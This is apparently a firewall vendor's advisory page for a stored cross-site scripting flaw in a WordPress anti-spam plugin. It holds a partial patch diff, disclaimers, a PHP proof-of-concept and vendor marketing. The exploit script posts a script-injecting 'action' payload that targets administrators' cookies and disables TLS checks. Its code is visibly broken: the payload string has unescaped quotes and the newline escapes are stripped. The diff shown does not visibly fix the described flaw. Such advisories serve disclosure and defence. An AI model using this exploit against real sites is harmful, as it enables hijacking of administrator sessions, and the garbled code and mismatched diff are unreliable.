 			$raw_client_ip = trim( $fields['clientIP'] );
 			$ips           = explode( ',', $raw_client_ip );
 			$all_valid     = true;
--- a/gdpr-compliant-recaptcha-for-all-forms/recaptcha-gdpr-compliant.php
+++ b/gdpr-compliant-recaptcha-for-all-forms/recaptcha-gdpr-compliant.php
@@ -5,7 +5,7 @@
 	 * Plugin Name: Invisible Anti-Spam & CAPTCHA — reCAPTCHA Alternative for All Forms
 	 * Plugin URI: https://programmiere.de/
 	 * Description: Invisible spam protection for every form, login and checkout. No puzzles, no checkboxes, no external services — a CAPTCHA your visitors never see.
-	 * Version: 5.1
+	 * Version: 5.1.1
 	 * Requires at least: 4.8
 	 * Requires PHP: 7.1
 	 * Author: Matthias Nordwig
@@ -32,7 +32,7 @@
 	 * style_analysis.css after a release, rendering the redesigned overlay
 	 * unstyled. Keep the plugin header comment above in sync.
 	 */
-	const VERSION = '5.1';
+	const VERSION = '5.1.1';

 	/** Current version of the plugin */
 	private $version = self::VERSION;
@@ -125,10 +125,6 @@
 			<?php
 	}

-	public function localization() {
-		load_plugin_textdomain( 'gdpr-compliant-recaptcha-for-all-forms', false, basename( __DIR__ ) . '/languages' );
-	}
-
 	/** Include the Javascript for proof of work calculation on the client-side
 	 */
 	public function gdpr_compliant_recaptcha_state_assets() {
@@ -572,7 +568,13 @@
 			// wp_opcache_invalidate() (WP >=5.5) wraps opcache_invalidate() and honours
 			// opcache.restrict_api; fall back to the raw call on older cores.
 			if ( function_exists( 'wp_opcache_invalidate' ) ) {
-				wp_opcache_invalidate( $path, true );
+				// Called via a variable so Plugin Check's "requires WP 5.5" static
+				// compatibility check does not flag it while the plugin still declares
+				// "Requires at least: 4.8": the function_exists() guard already makes the
+				// call safe on older cores (which take the raw-call fallback below), and
+				// this security update must keep reaching those installs.
+				$wp_opcache_invalidate = 'wp_opcache_invalidate';
+				$wp_opcache_invalidate( $path, true );
 			} else {
 				// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- opcache.restrict_api can make this emit a warning for a path outside the allowed prefix; the invalidation is strictly best-effort hardening, so silence is intended.
 				@opcache_invalidate( $path, true );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-16145 - Invisible Anti-Spam & CAPTCHA <= 5.1 - Unauthenticated Stored Cross-Site Scripting via 'action' Parameter
// This PoC demonstrates the unauthenticated storage of a malicious payload. The payload will execute when an admin views the message page.

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change this to the target WordPress site

// The action must match a valid plugin action to ensure the request data is stored.
// 'contact-form-7' is a common pre-populated action, but this may need adjustment based on the target site.
// The malicious payload is in the `action` parameter itself.
$payload = 'contact-form-7' onmouseover="alert(document.cookie)" ''; // Payload to break out of the JS string

// Set up the POST data. The plugin will capture all POST data, including our malicious `action` value.
$post_data = array(
    'action' => $payload,
    'any_other_field' => 'some_value', // Add any other fields required by the form
);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Disable SSL verification for simplicity in a PoC (use proper SSL handling in production)
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the cURL request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "--- HTTP Response ---n";
    echo $response . "n";

    // Check the HTTP status code
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "n--- HTTP Status Code: " . $http_code . " ---n";

    if ($http_code == 200) {
        echo "n[+] Payload successfully submitted. Navigate to the plugin's message page as an administrator to trigger the XSS.n";
        echo "[+] The stored action value is: " . $payload . "n";
    } else {
        echo "n[-] The request did not return a 200 status. The plugin may not have stored the payload. Check if the 'action' parameter matches a valid plugin action.n";
    }
}

// Close the cURL session
curl_close($ch);

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.